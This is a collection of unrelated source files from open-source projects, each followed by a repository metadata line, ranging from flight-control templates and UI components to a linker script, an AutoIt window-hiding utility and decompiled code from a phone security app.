@[end if]@
enum class FlightTaskIndex : int {
None = -1,
@# loop through all requested tasks
@[if tasks]@
@[for task in tasks]@
@(task),
@[end for]@
@[end if]@
Count // number of tasks
};
union TaskUnion {
TaskUnion() {}
~TaskUnion() {}
@# loop through all requested tasks
@[if tasks]@
@[for task in tasks]@
FlightTask@(task) @(task);
@[end for]@
@[end if]@
};
| EmberScript | 3 | lgarciaos/Firmware | src/modules/flight_mode_manager/Templates/FlightTasks_generated.hpp.em | [
"BSD-3-Clause"
] |
import { Link } from 'gatsby';
import React from 'react';
import Helmet from 'react-helmet';
import { useTranslation } from 'react-i18next';
import notFoundLogo from '../../assets/images/freeCodeCamp-404.svg';
import { randomQuote } from '../../utils/get-words';
import { Spacer } from '../helpers';
import './404.css';
const FourOhFour = (): JSX.Element => {
const { t } = useTranslation();
// TODO: Remove this type coercion when get-words.js is migrated
const quote = randomQuote() as { quote: string; author: string };
return (
<div className='notfound-page-wrapper'>
<Helmet title={t('404.page-not-found') + '| freeCodeCamp'} />
<img alt={t('404.not-found')} src={notFoundLogo} />
<Spacer />
<h1>{t('404.page-not-found')}.</h1>
<Spacer />
<div>
<p>{t('404.heres-a-quote')}</p>
<Spacer />
<blockquote className='quote-wrapper'>
<p className='quote'>
<span>“</span>
{quote.quote}
</p>
<p className='author'>- {quote.author}</p>
</blockquote>
</div>
<Spacer size={2} />
<Link className='btn btn-cta' to='/learn'>
{t('buttons.view-curriculum')}
</Link>
</div>
);
};
export default FourOhFour;
| TypeScript | 4 | fcastillo-serempre/freeCodeCamp | client/src/components/FourOhFour/index.tsx | [
"BSD-3-Clause"
] |
/****************************************************************************
*
* (c) 2009-2020 QGROUNDCONTROL PROJECT <http://www.qgroundcontrol.org>
*
* QGroundControl is licensed according to the terms in the file
* COPYING.md in the root of the source code directory.
*
****************************************************************************/
/**
* @file
* @brief QGC Attitude Widget
* @author Gus Grubba <[email protected]>
*/
import QtQuick 2.3
import QGroundControl.ScreenTools 1.0
Item {
id: root
property bool active: false ///< true: actively connected to data provider, false: show inactive control
property real rollAngle : _defaultRollAngle
property real pitchAngle: _defaultPitchAngle
property bool showPitch: true
readonly property real _defaultRollAngle: 0
readonly property real _defaultPitchAngle: 0
property real _rollAngle: active ? rollAngle : _defaultRollAngle
property real _pitchAngle: active ? pitchAngle : _defaultPitchAngle
anchors.centerIn: parent
Image {
id: rollDial
anchors { bottom: root.verticalCenter; horizontalCenter: parent.horizontalCenter }
source: "/qmlimages/rollDialWhite.svg"
mipmap: true
width: parent.width
sourceSize.width: width
fillMode: Image.PreserveAspectFit
transform: Rotation {
origin.x: rollDial.width / 2
origin.y: rollDial.height
angle: -_rollAngle
}
}
Image {
id: pointer
anchors { bottom: root.verticalCenter; horizontalCenter: parent.horizontalCenter }
source: "/qmlimages/rollPointerWhite.svg"
mipmap: true
width: rollDial.width
sourceSize.width: width
fillMode: Image.PreserveAspectFit
}
Image {
id: crossHair
anchors.centerIn: parent
source: "/qmlimages/crossHair.svg"
mipmap: true
width: parent.width
sourceSize.width: width
fillMode: Image.PreserveAspectFit
}
QGCPitchIndicator {
id: pitchIndicator
anchors.verticalCenter: parent.verticalCenter
visible: showPitch
pitchAngle: _pitchAngle
rollAngle: _rollAngle
color: Qt.rgba(0,0,0,0)
size: ScreenTools.defaultFontPixelHeight * (10)
}
}
| QML | 4 | uav-operation-system/qgroundcontrol | src/FlightMap/Widgets/QGCAttitudeHUD.qml | [
"Apache-2.0"
] |
/*
* Copyright 2017-2019 JiΕΓ JanouΕ‘ek <[email protected]>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
namespace Nuvola {
[DBus(name="eu.tiliado.NuvolaApp")]
public class AppDbusApi: GLib.Object {
private unowned AppRunnerController controller;
public AppDbusApi(AppRunnerController controller) {
this.controller = controller;
}
public void activate() throws GLib.DBusError, GLib.IOError {
Idle.add(() => {controller.activate(); return false;});
}
public void get_version(out int major, out int minor, out int micro, out string? revision) throws GLib.Error {
major = Nuvola.get_version_major();
minor = Nuvola.get_version_minor();
micro = Nuvola.get_version_micro();
revision = Nuvola.get_revision();
}
public void get_connection(out Socket? socket) throws GLib.Error {
socket = Drt.SocketChannel.create_socket_from_name(build_ui_runner_ipc_id(controller.web_app.id)).socket;
}
}
[DBus(name="eu.tiliado.Nuvola")]
public interface MasterDbusIfce: GLib.Object {
public abstract void get_version(out int major, out int minor, out int micro, out string? revision) throws GLib.Error;
public abstract void get_connection(string app_id, string dbus_id, out GLib.Socket? socket, out string? token)
throws GLib.Error;
}
} // namespace Nuvola
| Vala | 4 | xcffl/nuvolaruntime | src/nuvolakit-runner/DbusRunner.vala | [
"BSD-2-Clause"
] |
syntax = "proto3";
package membershippb;
import "gogoproto/gogo.proto";
option (gogoproto.marshaler_all) = true;
option (gogoproto.sizer_all) = true;
option (gogoproto.unmarshaler_all) = true;
option (gogoproto.goproto_getters_all) = false;
// RaftAttributes represents the raft related attributes of an etcd member.
message RaftAttributes {
// peerURLs is the list of peers in the raft cluster.
repeated string peer_urls = 1;
// isLearner indicates if the member is raft learner.
bool is_learner = 2;
}
// Attributes represents all the non-raft related attributes of an etcd member.
message Attributes {
string name = 1;
repeated string client_urls = 2;
}
message Member {
uint64 ID = 1;
RaftAttributes raft_attributes = 2;
Attributes member_attributes = 3;
}
message ClusterVersionSetRequest {
string ver = 1;
}
message ClusterMemberAttrSetRequest {
uint64 member_ID = 1;
Attributes member_attributes = 2;
}
message DowngradeInfoSetRequest {
bool enabled = 1;
string ver = 2;
} | Protocol Buffer | 4 | aquarapid/etcd | etcdserver/api/membership/membershippb/membership.proto | [
"Apache-2.0"
] |
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon( /*#__PURE__*/_jsx("path", {
d: "M2 12h5v2H2zm16.17 1.75c.52-.79.83-1.73.83-2.75 0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.02 0 1.96-.31 2.76-.83L20.59 19 22 17.59l-3.83-3.84zM14 14c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3zM2 7h5v2H2zm0 10h10v2H2z"
}), 'ManageSearchTwoTone'); | JavaScript | 4 | good-gym/material-ui | packages/material-ui-icons/lib/esm/ManageSearchTwoTone.js | [
"MIT"
] |
/* ROM function interface esp32c3.rom.newlib-nano.ld for esp32c3
*
*
* Generated from ./interface-esp32c3.yml md5sum 93b28a9e1fe42d212018eb4336849208
*
* Compatible with ROM where ECO version equal or greater to 0.
*
* THIS FILE WAS AUTOMATICALLY GENERATED. DO NOT EDIT.
*/
/***************************************
Group newlib_nano_format
***************************************/
/* Functions */
__sprint_r = 0x40000480;
_fiprintf_r = 0x40000484;
_fprintf_r = 0x40000488;
_printf_common = 0x4000048c;
_printf_i = 0x40000490;
_vfiprintf_r = 0x40000494;
_vfprintf_r = 0x40000498;
fiprintf = 0x4000049c;
fprintf = 0x400004a0;
printf = 0x400004a4;
vfiprintf = 0x400004a8;
vfprintf = 0x400004ac;
| Linker Script | 2 | DCNick3/esp-idf | components/esp_rom/esp32c3/ld/esp32c3.rom.newlib-nano.ld | [
"Apache-2.0"
] |
extends /templates/common/table
block tableResultsHeader
tr
th(colspan=4)
span(data-i18n="general.results")
| Results
span
|: #{documents.length}
block tableHeader
tr
th(data-i18n="general.name") Name
th(data-i18n="general.description") Description
th(data-i18n="general.version") Version
th(data-i18n="common.watch") Watch
block tableBody
for document in documents
- var data = document.attributes;
tr(class=document.get('creator') == me.id ? 'mine' : '')
td(title=data.name).name-row
a(href="/editor/#{page}/#{data.slug || data._id}")
| #{data.name}
td(title=data.description).description-row
| #{data.description}
td #{data.version.major}.#{data.version.minor}
if document.watching()
td.watch-row.watching
span(aria-hidden="true").glyphicon.glyphicon-eye-open
span(data-i18n="common.watch").sr-only Watch
else
td.watch-row.not-watching
span(aria-hidden="true").glyphicon.glyphicon-eye-close
span(data-i18n="common.unwatch").sr-only Unwatch | Jade | 3 | cihatislamdede/codecombat | app/templates/editor/level/table.jade | [
"CC-BY-4.0",
"MIT"
] |
(module
(func $f (import "" "f") (param i32 i64 i64 i32) (result i32 i64 i64 i32))
(func $g (export "g") (param i32 i64 i64 i32) (result i32 i64 i64 i32)
(call $f (local.get 0) (local.get 2) (local.get 1) (local.get 3))
)
)
| WebAssembly | 3 | slave5vw/wasmer | lib/c-api/tests/wasm-c-api/example/multi.wat | [
"MIT"
] |
#include-once
#include <Array.au3>
#include "MinimizeToTray.au3"
Func CmdlineHasParams()
Return UBound($CmdLine) > 1
EndFunc
Func _GetTitleFromProcName($sProcessName)
$aAllProcesses = ProcessList()
Dim $aDetectedProcesses[0]
For $i = 0 To UBound($aAllProcesses) - 1
If $aAllProcesses[$i][0] == $sProcessName Then
_ArrayAdd($aDetectedProcesses, $aAllProcesses[$i][1])
EndIf
Next
$aAllWnds = WinList()
Local $aDetectedWndTitles[0]
For $i = 0 To UBound($aAllWnds) - 1
$sWndTitle = $aAllWnds[$i][0]
If $sWndTitle == "" Then
ContinueLoop
EndIf
$sPID = WinGetProcess($sWndTitle) ; Got PID
For $j = 0 To UBound($aDetectedProcesses) - 1
If $sPID == $aDetectedProcesses[$j] Then
_ArrayAdd($aDetectedWndTitles, $sWndTitle)
EndIf
Next
Next
Return $aDetectedWndTitles
EndFunc
Func CmdlineValidateParams()
; Can't hide and show at the same time
If _CmdLine_FlagExists('H') And _CmdLine_FlagExists('S') Then
MsgBox(0, "MTT", "Error. Can't hide and show window at the same time.", 10)
Return False
EndIf
; No -p or invalid arg value for -p
If Not _CmdLine_KeyExists('p') And Not _CmdLine_KeyEXists('t') Then
MsgBox(0, "MTT", "Error. Need to specify a process name to hide with -p or a window title with -t.", 10)
Return False
EndIf
If _CmdLine_KeyExists('p') and _CmdLine_Get('p') == '' Then
Return False
EndIf
If _CmdLine_KeyExists('t') and _CmdLine_Get('t') == '' Then
Return False
EndIf
Return True
EndFunc
Func CmdlineShowHelp()
MsgBox(64, "MTT", "Cmdline options: " & @CRLF _
& "We may hide/show windows based on either their title or process name:" & @CRLF _
& "-p <process name>" & @CRLF _
& "-t <window title>" & @CRLF _
& "-H: To hide all visible window created by a process." & @CRLF _
& "-S: To show/restore previously hidden window." & @CRLF & @CRLF _
& "Example for hiding all open firefox windows:" & @CRLF _
& "Minimize.exe -p firefox.exe -H")
EndFunc
Func _GetAllPossibleWnds($sWndTitle)
Local $aRet[0]
$aAllWnds = WinList()
For $i = 0 To UBound($aAllWnds) - 1
If StringInStr($aAllWnds[$i][0], $sWndTitle) Then
_ArrayAdd($aRet, $aAllWnds[$i][0])
EndIf
Next
Return $aRet
EndFunc
Func CmdlineRunCliMode()
If Not CmdlineHasParams() Then
Return
EndIf
If _CmdLine_FlagExists('h') Then
CmdlineShowHelp()
Return
EndIf
If Not CmdlineValidateParams() Then
Return
EndIf
If _CmdLine_KeyExists('p') Then
$sProcessNameToHide = _CmdLine_Get('p')
$aDetectedWndTitles = _GetTitleFromProcName($sProcessNameToHide)
ElseIf _CmdLine_KeyExists('t') Then
$sWndTitle = _CmdLine_Get('t')
$aDetectedWndTitles = _GetAllPossibleWnds($sWndTitle)
EndIf
For $i = 0 To UBound($aDetectedWndTitles) - 1
$sWndTitle = $aDetectedWndTitles[$i]
If _CmdLine_FlagExists('H') Then
WinSetState($sWndTitle, '', @SW_HIDE)
ElseIf _CmdLine_FlagExists('S') Then
WinSetState($sWndTitle, '', @SW_SHOW)
EndIf
Next
EndFunc
;CmdLine UDF
;https://www.autoitscript.com/forum/topic/169610-cmdline-udf-get-valueexistenceflag/
Func _CmdLine_Get($sKey, $mDefault = Null)
For $i = 1 To $CmdLine[0]
If $CmdLine[$i] = "/" & $sKey OR $CmdLine[$i] = "-" & $sKey OR $CmdLine[$i] = "--" & $sKey Then
If $CmdLine[0] >= $i+1 Then
Return $CmdLine[$i+1]
EndIf
EndIf
Next
Return $mDefault
EndFunc
Func _CmdLine_KeyExists($sKey)
For $i = 1 To $CmdLine[0]
If $CmdLine[$i] = "/" & $sKey OR $CmdLine[$i] = "-" & $sKey OR $CmdLine[$i] = "--" & $sKey Then
Return True
EndIf
Next
Return False
EndFunc
Func _CmdLine_ValueExists($sValue)
For $i = 1 To $CmdLine[0]
If $CmdLine[$i] = $sValue Then
Return True
EndIf
Next
Return False
EndFunc
Func _CmdLine_FlagEnabled($sKey)
For $i = 1 To $CmdLine[0]
If StringRegExp($CmdLine[$i], "\+([a-zA-Z]*)" & $sKey & "([a-zA-Z]*)") Then
Return True
EndIf
Next
Return False
EndFunc
Func _CmdLine_FlagDisabled($sKey)
For $i = 1 To $CmdLine[0]
If StringRegExp($CmdLine[$i], "\-([a-zA-Z]*)" & $sKey & "([a-zA-Z]*)") Then
Return True
EndIf
Next
Return False
EndFunc
Func _CmdLine_FlagExists($sKey)
For $i = 1 To $CmdLine[0]
If StringRegExp($CmdLine[$i], "(\+|\-)([a-zA-Z]*)" & $sKey & "([a-zA-Z]*)") Then
Return True
EndIf
Next
Return False
EndFunc
Func _CmdLine_GetValByIndex($iIndex, $mDefault = Null)
If $CmdLine[0] >= $iIndex Then
Return $CmdLine[$iIndex]
Else
Return $mDefault
EndIf
EndFunc
| AutoIt | 4 | TitusKirch/MinimizeToTray | cmdline.au3 | [
"MIT"
] |
Import rockout
Function DrawCursor ()
SetColor 255, 255, 255
DrawLine RockOut.mx - 8, RockOut.my, RockOut.mx + 8, RockOut.my
DrawLine RockOut.mx, RockOut.my - 8, RockOut.mx, RockOut.my + 8
End
Function RenderGame ()
Cls 32, 64, 128
Block.Render
Shot.Render
ScoreBubble.Render
DrawCursor
GameSession.Player.Render
DrawText "Shields: " + GameSession.Player.Shields, 20, 20
DrawText "Score: " + GameSession.Score, 20, 40
DrawText "Level: " + GameSession.CurrentLevel.Name, 20, 80
DrawText "Use LEFT/RIGHT and ENTER to zoom", 20, 60
DrawText "Update rate (UP/DOWN to change): " + UPDATE_RATE, 20, VDeviceHeight - 40
End
Function RenderStates ()
' ---------------------------------------------------------------------
' Scale all drawing to viewport...
' ---------------------------------------------------------------------
UpdateVirtualDisplay ' From imports.virtual
' ---------------------------------------------------------------------
' Run appropriate drawing code for each game state...
' ---------------------------------------------------------------------
Select GameSession.GameState
' -----------------------------------------------------------------
' In menu...
' -----------------------------------------------------------------
Case STATE_MENU
Cls 32, 64, 128
' Local click:String = "Click mouse to start..."
' DrawText click, CenterStringX (click), CenterStringY (click)
RockOut.temp.Draw
DrawCursor
' -----------------------------------------------------------------
' Loading level...
' -----------------------------------------------------------------
Case STATE_LOADLEVEL
' Print "Level loaded!"
' -----------------------------------------------------------------
' Game playing...
' -----------------------------------------------------------------
Case STATE_PLAYING
RenderGame
' Scale 2, 2
' DrawImage RockOut.shade, 0, 0
' -----------------------------------------------------------------
' Game paused...
' -----------------------------------------------------------------
Case STATE_PAUSED
RenderGame
CenterText "Paused - Press P to continue"
' -----------------------------------------------------------------
' Game over screen...
' -----------------------------------------------------------------
Case STATE_GAMEOVER
RenderGame
CenterText "Game over! Click to play again..."
DrawCursor
' -----------------------------------------------------------------
' Unknown game state...
' -----------------------------------------------------------------
Default
Cls 1.0, 0.0, 0.0 ' Unknown state -- red screen of death!
End
' ShowState
End
| Monkey | 4 | blitz-research/monkey | bananas/hitoro/rockout/imports/rendergame.monkey | [
"Zlib"
] |
.class public Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;
.super Lcom/lenovo/safecenter/HealthCheck/BaseHealthCheck;
.source "HealthProtectVirus.java"
# instance fields
.field public final SCORE_VALUE_PROTECT_VIRUS:I
# direct methods
.method public constructor <init>(Landroid/content/Context;Lcom/lenovo/safecenter/HealthCheck/HealthManager;)V
.locals 2
.param p1, "context" # Landroid/content/Context;
.param p2, "healthManager" # Lcom/lenovo/safecenter/HealthCheck/HealthManager;
.prologue
const/4 v1, 0x0
.line 26
invoke-direct {p0}, Lcom/lenovo/safecenter/HealthCheck/BaseHealthCheck;-><init>()V
.line 24
const/16 v0, 0x8
iput v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->SCORE_VALUE_PROTECT_VIRUS:I
.line 27
iput-object p1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
.line 28
iput v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mKey:I
.line 29
iput-boolean v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->isRootItem:Z
.line 30
iput-object p2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
.line 31
return-void
.end method
# virtual methods
.method protected clear()V
.locals 1
.prologue
.line 109
const/4 v0, 0x0
iput-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
.line 110
return-void
.end method
.method protected click()V
.locals 0
.prologue
.line 105
return-void
.end method
.method protected manual()V
.locals 0
.prologue
.line 99
return-void
.end method
.method protected optimiza()V
.locals 6
.prologue
const/4 v5, 0x4
const/4 v4, 0x1
const/4 v3, 0x0
.line 75
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
invoke-static {v4, v0}, Lcom/lenovo/safecenter/utils/Const;->setProtectVirusSwitchState(ZLandroid/content/Context;)V
.line 76
const/4 v0, 0x0
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
const v2, 0x7f0d0617
invoke-virtual {v1, v2}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v1
iget-object v2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
invoke-virtual {p0, v0, v1, v2}, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->refreshTitle(Ljava/lang/String;Ljava/lang/String;Lcom/lenovo/safecenter/HealthCheck/HealthManager;)V
.line 79
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
if-eqz v0, :cond_0
.line 80
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
const v2, 0x7f0d05d5
invoke-virtual {v1, v2}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v1
iput-object v1, v0, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->content:Ljava/lang/String;
.line 81
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iput v5, v0, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->view_type:I
.line 82
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
const/4 v1, 0x7
iput v1, v0, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->weight:I
.line 83
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iput-boolean v3, v0, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->isOnly:Z
.line 84
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
const v2, 0x7f0d048f
invoke-virtual {v1, v2}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v1
iput-object v1, v0, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->action_description:Ljava/lang/String;
.line 86
:cond_0
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
invoke-virtual {v0, v5, v4}, Lcom/lenovo/safecenter/HealthCheck/HealthManager;->plusOrDecrementNumItem(IZ)V
.line 88
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
iget v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mPreViewType:I
invoke-virtual {v0, v1, v3}, Lcom/lenovo/safecenter/HealthCheck/HealthManager;->plusOrDecrementNumItem(IZ)V
.line 89
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
invoke-virtual {v0, v1}, Lcom/lenovo/safecenter/HealthCheck/HealthManager;->result(Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;)V
.line 91
iget-object v0, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
invoke-virtual {v1}, Lcom/lenovo/safecenter/HealthCheck/HealthManager;->getScore()I
move-result v1
add-int/lit8 v1, v1, 0x8
invoke-virtual {v0, v1}, Lcom/lenovo/safecenter/HealthCheck/HealthManager;->setScore(I)V
.line 93
return-void
.end method
.method protected scan()V
.locals 9
.prologue
const v8, 0x7f0d054e
const/4 v7, 0x1
const/4 v6, 0x0
const/4 v4, 0x5
const/4 v5, 0x2
.line 36
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
invoke-virtual {v1, v8}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v1
iget-object v2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
const v3, 0x7f0d0616
invoke-virtual {v2, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v2
iget-object v3, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
invoke-virtual {p0, v1, v2, v3}, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->refreshTitle(Ljava/lang/String;Ljava/lang/String;Lcom/lenovo/safecenter/HealthCheck/HealthManager;)V
.line 39
new-instance v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
invoke-direct {v1}, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;-><init>()V
iput-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
.line 40
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iget v2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mKey:I
iput v2, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->key:I
.line 41
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iget-object v2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
invoke-virtual {v2, v8}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v2
iput-object v2, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->title:Ljava/lang/String;
.line 42
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iget-object v2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
const v3, 0x7f0d0616
invoke-virtual {v2, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v2
iput-object v2, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->title_detail:Ljava/lang/String;
.line 45
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
invoke-static {v1}, Lcom/lenovo/safecenter/utils/Const;->getProtectVirusSwitchState(Landroid/content/Context;)Z
move-result v0
.line 46
.local v0, "isOn":Z
if-eqz v0, :cond_0
.line 47
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iget-object v2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
const v3, 0x7f0d05d5
invoke-virtual {v2, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v2
iput-object v2, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->content:Ljava/lang/String;
.line 48
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iput v4, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->view_type:I
.line 49
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
const/16 v2, 0x9
iput v2, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->weight:I
.line 50
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iput-boolean v6, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->isOnly:Z
.line 51
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iget-object v2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
const v3, 0x7f0d048f
invoke-virtual {v2, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v2
iput-object v2, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->action_description:Ljava/lang/String;
.line 52
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
invoke-virtual {v1, v4, v7}, Lcom/lenovo/safecenter/HealthCheck/HealthManager;->plusOrDecrementNumItem(IZ)V
.line 54
iput v4, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mPreViewType:I
.line 69
:goto_0
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
iget-object v2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
invoke-virtual {v1, v2}, Lcom/lenovo/safecenter/HealthCheck/HealthManager;->result(Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;)V
.line 70
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
invoke-virtual {p0, v1}, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->progressAddAfterScanEveryItem(Lcom/lenovo/safecenter/HealthCheck/HealthManager;)V
.line 71
return-void
.line 56
:cond_0
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
new-instance v2, Ljava/lang/StringBuilder;
